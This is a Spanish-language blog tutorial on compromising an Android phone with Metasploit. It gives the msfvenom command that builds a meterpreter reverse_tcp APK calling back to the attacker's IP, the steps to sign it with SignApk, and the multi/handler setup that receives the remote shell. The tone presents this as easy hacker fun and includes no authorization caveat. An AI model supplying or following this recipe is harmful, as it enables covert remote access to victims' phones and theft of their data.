Hackeando Android con Metasploit

  • por Lucas Campos

 

Podría apostar a que has visto Mr. Robot y pensaste: Ojalá pudiera hackear así un teléfono. 

 

Bueno, pues te sorprendería lo fácil que puede ser esto.

Aunque con el tiempo los sistemas operativos se encargan de fortalecer su seguridad constantemente, siempre hay un pequeño agujero por donde se puede lograr entrar y atacar de alguna forma, después de todo, jamás seran perfectos.

En este tutorial iremos aprendiendo paso a paso cómo hackear un teléfono que opera bajo Android, y en que consiste esto.

Antes que nada, debes tener tu música de hacker siempre lista. Te recomiendo ESTO , un clásico.

Ahora manos a la obra.

 

 

Creando y firmando nuestro APK:

 

Para comenzar, ingresaremos el siguiente comando en nuestra consola:

msfvenom –p android/meterpreter/reverse_tcp LHOST=<Nuestra IP> LPORT=443 R > Escritorio/app.apk

 

Pero… ¿En qué consiste este comando?

Msfvenom es una herramienta de Metasploit que surge de una combinación de Msfpayload y Msfencode. Con esta herramienta mediante el flag -p especificaremos que se hará uso de un Payload con el cual atacaremos nuestro télefono objetivo, en nuestro caso: meterpreter.

Payload es la parte que realiza la acción dañina en un virus, es decir, la que desencadena el efecto de un exploit.

Lo siguiente en este comando ha sido seleccionar el Stager a utilizar, en este caso hemos usado reverse_tcp, el cual nos permitirá reservar una zona en memoria y realizer una conexión. En esta zona es donde se guarda el Payload que generaremos.

LHOST y LPORT son básicamente la ip y puerto donde recibiremos los datos enviados remotamente por el telefono atacado. EL Puerto puede ser a elección propia, en este caso se escogió el Puerto 443 de manera aleatoria.

Finalmente mediante el flag R > <lugar donde guardaremos el apk>/<nombre apk>.apk, especificaremos donde quedará alojado nuestro apk y el nombre de este.

Obtendremos algo así:

Al ejecutar el comando anterior deberíamos obtener el siguiente resultado, el cual nos dirá el peso de nuestro Payload y que efectivamente fue creado:

 

En este punto nuestra app malvada ya ha sido creada, el siguiente paso será firmarla para que pueda ser instalada y correr en el telefono objetivo. 

Para esto descargaremos SignApk, un pequeño programa hecho en java para poder firmar aplicaciones que hagamos nosotros (Descargar Aquí).

Copiaremos el .apk generado en la carpeta de SignApk, y ya adentro en la consola ejecutaremos el siguiente comando:

java –jar signapk.jar certificate.pem key.pk8 <nuestra aplicacion>.apk <nuestra aplicacion firmada>.apk

 

Un ejemplo podría ser el siguiente:

 

El resultado sera una aplicación firmada en un nuevo .apk.

 

 

Configurando Metasploit:

 

Ya firmada la aplicación procederemos a crear la conexión con el teléfono objetivo, todo esto mediante la consola de Metasploit.

Mediante el comando msfconsole ingresaremos a la consola de Metaslpoit y deberíamos encontrarnos con algo así:

 

Ya dentro de la consola de Metasploit ingresaremos lo siguiente:

use exploit/multi/handler

 

Ahora te estarás preguntando ¿Pero qué es un handler?

 

Bueno, un handler en Metasploit es con lo cual estableceremos una conexión con el objetivo. Dependiendo del Payload que se utilice, el handler puede ser de escucha o recepción (gracias a un reverse Payload) o puede iniciar una conexión con un host a un Puerto específico (gracias a un bind Payload) .

Luego de ejecutar el uso del handler pasaremos a configurarlo:

 

Primero setearemos el Payload con el cual hicimos el .apk anteriormente:

set payload android/meterpreter/reverse_tcp

 

Luego la ip y puertos que pusimos también al momento de crear nuestro apk:

set LHOST <nuestra ip>
set LPORT <Puerto que designamos>

 

Cuando ya hemos configurado cada parte, arrancamos el exploit con el comando exploit, con el cual, al haber hecho uso de reverse_tcp quedará a la escucha de la proxima conexión que se establezca. Veremos algo así:

 

 

Ahora es momento de instalar la aplicación en el telfono objetivo. Hay muchas maneras pero para fines practicos de este tutorial simplemente he instalado el .apk en el telefono manualmente.

Ya habiendo instalado la aplicación deberíamos ver un icono que se llame MainActivity dentro de nuestro telefono, al ejecutarlo no abrirá ninguna ventana pero sí se etablecera por fin la conexión con nuestra consola Metasploit.

                   

 

 

Como resultado al ejecutar la aplicación en el telefono, veremos algo así en nuestra consola:

 

 

Con el comando help podremos verificar la lista de comandos disponibles para usar en nuestro ataque con sus respectivas descripciones.

No ha sido muy difícil... eh?

 

Links:

Kali Linux: https://www.kali.org/downloads/

Metasploit: https://www.metasploit.com/

Arquitectura de Metasploit: https://www.offensive-security.com/metasploit-unleashed/metasploit-architecture/

Información sobre Payloads: http://www.seguridadjabali.com/2012/10/que-es-payload.html

Manual Metasploit: http://download.s3cur1ty.de/sonst/MSFu-extended-edt-1.0.pdf

Metasploit cheatsheet: https://www.sans.org/security-resources/sec560/misc_tools_sheet_v1.pdf